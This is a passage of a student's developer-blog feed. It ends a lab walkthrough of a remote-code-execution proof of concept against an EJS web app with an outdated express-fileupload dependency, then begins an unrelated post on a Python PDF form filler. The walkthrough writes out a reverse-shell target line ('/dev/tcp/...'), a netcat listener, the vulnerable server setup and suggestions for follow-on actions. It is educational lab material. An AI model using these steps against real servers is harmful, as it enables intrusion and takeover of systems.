&lt;/div&gt;

&lt;p&gt;Yes I know a docker would have been lighter than a VM but the purpose of this POC is more for demonstration so having a VM makes the process more visual.&lt;/p&gt;

&lt;p&gt;Next, modify &lt;strong&gt;EJS-RCE-attack.py&lt;/strong&gt; to fit attacker’s machine address and port. Line 13, change&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

/dev/tcp/192.168.98.11/8020


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;to &lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

/dev/tcp/&amp;lt;attacker’s IP address&amp;gt;/&amp;lt;attacker’s port to listen for connection from victim&amp;gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;You could leave it at port 8020. Just ensure that no firewall rules are blocking the ports you use.&lt;/p&gt;

&lt;p&gt;Modify &lt;strong&gt;EJS-RCE-attack.py&lt;/strong&gt; to fit victim’s machine address and port. Line 17 and line 21. Change http address to victim’s web address.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fboiledsteak%2FEJS-Exploit%2Fmain%2Fscreenshots%2Fchanging-address.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fboiledsteak%2FEJS-Exploit%2Fmain%2Fscreenshots%2Fchanging-address.png" alt="screenshot of code"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  Victim &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;This part requires a bit more preparation since you will need to set up an EJS web server. There are many detailed guides online about EJS and how to create a web app with it so I won't detail everything in this post. I'll briefly list the steps needed to get one running.&lt;/p&gt;

&lt;p&gt;First, set up an Ubuntu VM. Ensure it can 'talk' to the Kali VM. Install NodeJS and NPM.&lt;/p&gt;

&lt;p&gt;Create a directory to contain the webserver code. It should look something like the screenshot below. For now just create the folders. Don't create the files yet. This step is optional but I feel it makes the webserver cleaner and easier to navigate. This step is useful if you choose to expand on my attack scenario for instance, adding a database to the webserver, adding multiple web pages etc...&lt;/p&gt;

&lt;p&gt;btw command to print directory tree in windows is&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

tree /A


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fboiledsteak%2FEJS-Exploit%2Fmain%2Fscreenshots%2Fwebserver-tree.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fboiledsteak%2FEJS-Exploit%2Fmain%2Fscreenshots%2Fwebserver-tree.png" alt="screenshot of directory tree"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Okay first file to create is &lt;strong&gt;package.json&lt;/strong&gt;. Move it to backend as pictured in the directory tree screenshot. (all files can be found in my github repo)&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"some-website"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"1.0.0"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"description"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"main"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"server.js"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"scripts"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"start"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"node server.js"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"author"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"license"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ISC"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"dependencies"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"ejs"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"^3.1.5"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"express"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"^4.17.1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"express-fileupload"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"^1.1.7-alpha.3"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;


&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;open a terminal in the backend folder and run&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

npm &lt;span class="nb"&gt;install&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;This installs all needed libraries and dependencies including EJS. A "node_modules" folder should appear.&lt;/p&gt;

&lt;p&gt;Now, write the server code &lt;strong&gt;server.js&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;

&lt;span class="c1"&gt;// web server code&lt;/span&gt;
&lt;span class="c1"&gt;// website starts here&lt;/span&gt;

&lt;span class="c1"&gt;// imports&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;express&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;express&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;fileupload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;express-fileupload&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;http&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;express&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;fileupload&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;parseNested&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;}));&lt;/span&gt;
&lt;span class="c1"&gt;// set the view engine to ejs&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;view engine&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;ejs&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;views&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;../frontend/pages&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;index&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;



&lt;span class="c1"&gt;// sever starting ...&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;server&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Server&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;addr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;192.168.98.10&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;listen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Server listening on &lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;addr&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt; port &lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;port&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
 &lt;span class="p"&gt;});&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;You'll need to change the "addr" variable in line 24 to match your victim machine's IP address.&lt;/p&gt;

&lt;p&gt;Next, create a simple HTML page in frontend/pages. It needs to be an .ejs file. I created a very plain one &lt;strong&gt;index.ejs&lt;/strong&gt;. This is to show that this attack does not require the victim to click anything on the website. The vulnerability lies in an outdated dependency used. No XSS needed. I probably don't need to show the code but here it is lol.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;

&lt;span class="cp"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;Some Website&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;This is some website&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h1&gt;
  
  
  Launch Attack &lt;a&gt;&lt;/a&gt;
&lt;/h1&gt;

&lt;p&gt;With everything set up, you can finally launch the attack. First, start the web server from the victim machine. Run npm start in the backend directory where the server.js file is located.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fboiledsteak%2FEJS-Exploit%2Fmain%2Fscreenshots%2Fstart-webserver.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fboiledsteak%2FEJS-Exploit%2Fmain%2Fscreenshots%2Fstart-webserver.png" alt="screenshot of npm start"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now on the attacker side start a nc to listen for a connection from the victim.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

nc &lt;span class="nt"&gt;-lvp&lt;/span&gt; 8020


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Then start the actual exploit&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

python3 EJS-RCE-attack.py


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fboiledsteak%2FEJS-Exploit%2Fmain%2Fscreenshots%2Fattacker-exploiting.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fboiledsteak%2FEJS-Exploit%2Fmain%2Fscreenshots%2Fattacker-exploiting.png" alt="screenshot of terminal"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If everything is done properly, you should be seeing a shell of the victim, on the attacker's terminal. From here you can do all kinds of commands to demonstrate RCE. You could do a simple DOS by restarting the machine with init 6. Or maybe do something even more 'hackerman' by downloading a MSFvenom and opening a metasploit shell.&lt;/p&gt;

&lt;p&gt;That's all to the attack. It's actually very simple. As I said at the start, this is just a simple RCE POC to show that misconfiguration can lead to severe vulnerabilities. The victim doesn't even need to click anything on the website and yet the web server can be compromised.&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h1&gt;
  
  
  Risk &lt;a&gt;&lt;/a&gt;
&lt;/h1&gt;

&lt;p&gt;As defined by the &lt;a href="https://owasp.org/www-project-risk-assessment-framework/" rel="noopener noreferrer"&gt;OWASP risk rating methodology&lt;/a&gt;, the risk of a vulnerability is measured by its likelihood and impact.&lt;/p&gt;

&lt;h2&gt;
  
  
  Likelihood &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;The likelihood of this exploit happening is extremely low because it relies on an outdated version of express-fileupload. The github repo that maintains this dependency even has a security warning about this exploit. Moreover EJS is not usually used in production. React, Angular , Vue, these are some of the more popular javascript frontend frameworks. EJS is used more for learning and development.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Thus I would give this a Low likelihood rating of 1/3&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Impact &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Since this is a RCE exploit, the impact is very high. RCE can enable all sorts of attacks. Stealing data, denial of service, opening backdoors, lateral movement - these are to name of but a few. Of course there are many effective ways to mitigate the impact of RCE such as firewalls, giving least privelege, port blocking etc. however the impact is still high.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Thus I would give this a High impact rating of 3/3&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;With low likelihood and high impact, I rate this exploit as a &lt;strong&gt;Medium Risk&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fboiledsteak%2FEJS-Exploit%2Fmain%2Fscreenshots%2Frisk-rating.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fboiledsteak%2FEJS-Exploit%2Fmain%2Fscreenshots%2Frisk-rating.png" alt="risk rating"&gt;&lt;/a&gt;&lt;br&gt;
🚀 back to contents&lt;/p&gt;

&lt;h1&gt;
  
  
  That's it!
&lt;/h1&gt;

&lt;p&gt;Thank you for reading my first post :) Yes I know it's a very simple and amateur exploit but I hope someone finds it useful. I'm just a student with no real professional experience so some of my information may even be false or misinformed. Please let me know if I missed anything. You can read more about javascript prototype pollution to understand deeper why this vulnerability even exists. &lt;/p&gt;

</description>
      <category>node</category>
      <category>security</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Automatic PDF Form Filler App Part 1: CLI</title>
      <dc:creator>boiledsteak</dc:creator>
      <pubDate>Thu, 06 May 2021 14:40:39 +0000</pubDate>
      <link>https://dev.to/boiledsteak/automatic-pdf-form-filler-web-app-58j9</link>
      <guid>https://dev.to/boiledsteak/automatic-pdf-form-filler-web-app-58j9</guid>
      <description>&lt;p&gt;During my year 3 polytechnic internship, I was given an extremely mundane and repetitive task. I won't go into specifics but I knew I could automate the process.&lt;/p&gt;

&lt;p&gt;This was my solution; a python app that reads from a .csv file and automatically fills a PDF form with data from the list.&lt;br&gt;
Initially I wrote a simple local app to be run on command line but I further improved it to be a full fledged web app.&lt;/p&gt;

&lt;p&gt;This post is part one of two: Command Line Interface app&lt;/p&gt;

&lt;p&gt;The app essentially makes use of the &lt;a href="https://github.com/rammie/pdfjinja"&gt;pdfjinja&lt;/a&gt; library together with a read from .csv function.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Disclaimer: I am a security student with no professional programming/ software engineer experience so my code may not be following best practices...but it works&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;
  
  
  Contents &lt;a&gt;&lt;/a&gt;
&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;
Prerequisites

&lt;ul&gt;
&lt;li&gt;Python&lt;/li&gt;
&lt;li&gt;pdfjinja&lt;/li&gt;
&lt;li&gt;PDFtk&lt;/li&gt;
&lt;li&gt;
PDF Form

&lt;ul&gt;
&lt;li&gt;Jinja Templates&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;The Code&lt;/li&gt;
&lt;li&gt;Run!&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All files needed can be found in my github repository. Higher resolution versions of all images used can be found in there too.&lt;br&gt;
&lt;/p&gt;
&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--i3JOwpme--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev.to/assets/github-logo-ba8488d21cd8ee1fee097b8410db9deaa41d0ca30b004c0c63de0a479114156f.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/boiledsteak"&gt;
        boiledsteak
      &lt;/a&gt; / &lt;a href="https://github.com/boiledsteak/auto-pdf-filler"&gt;
        auto-pdf-filler
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      
    &lt;/h3&gt;
  &lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  Prerequisites &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;h2&gt;
  
  
  Python &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;This post is targeted to novice Python programmers with some experience so pip, virtual environments, dependencies, these are to name of but a few of the many Python concepts needed.&lt;/p&gt;

&lt;p&gt;The app is written with Python 3.9.6. You need to have Python installed together with all other libraries and dependencies used. You could create an environment, but I didn’t bother so my dependencies are global hahaha.&lt;br&gt;
And of course, ensure you have pip installed as well.&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;
&lt;h2&gt;
  
  
  pdfjinja &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Download pdfjinja from pip. This is to enable variable interpolation within PDF files.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pip install pdfjinja
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  PDFtk &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Short for PDF toolkit, the &lt;a href="https://github.com/rammie/pdfjinja"&gt;PDFjinja github&lt;/a&gt; states that PDFtk is needed. Download the &lt;a href="https://www.pdflabs.com/tools/pdftk-the-pdf-toolkit/"&gt;PDFtk app&lt;/a&gt;.&lt;br&gt;
Download the PDFtk library from pip as well&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pip install pypdftk
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  PDF Form &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;And of course, you will need a PDF form to fill. I have included examples in my github repo. The PDF form doesn't actually have to be like an actual form for example, an application form or a particulars form. It can be any document that has fixed fields to fill, in the format of a PDF form.&lt;br&gt;
To elaborate what I meant, the app can be used to create name cards that need to be filled with names from a list. It just depends on how the PDF form is designed.&lt;/p&gt;

&lt;p&gt;However to create a PDF form, you need to use Adobe Acrobat Pro. Acrobat Reader does not have the function to create PDF forms. Perhaps there are free alternatives out there but for my case I used Acrobat Pro.&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;
&lt;h3&gt;
  
  
  Jinja Templates &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;After creating the PDF form, you will need to set "variable names" for the fields you want to programmatically fill.&lt;/p&gt;

&lt;p&gt;This is I did it with Adobe Acrobat Pro.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--aeqLACgM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/boiledsteak/auto-pdf-filler/main/screenshots/jinjatemplate.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--aeqLACgM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/boiledsteak/auto-pdf-filler/main/screenshots/jinjatemplate.png" alt="adding jinja template with Acrobat Pro"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Right click on the form field and open its properties. In the "Tooltip" field, insert your desired 'variable' name and enclose it with&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{{  }}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So for instance I want to name the variable "name", I would insert&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{{name}}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  Dataset &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Next, you need to create a .csv with the PDF form field names as the column names. I have included  examples in my github repo.&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  The Code &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Oh boy here comes the spaghetti. This part is a bit more complicated. You need to modify the code to specify where the files will be read and output to. And to make the input/ output simpler, run the .py relative to where you want the I/O to be.&lt;/p&gt;

&lt;p&gt;I developed this app in Windows 10 and ran it with PowerShell. You might run into issues if you're using other operating systems. Contact me if you do, I'll try to help.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
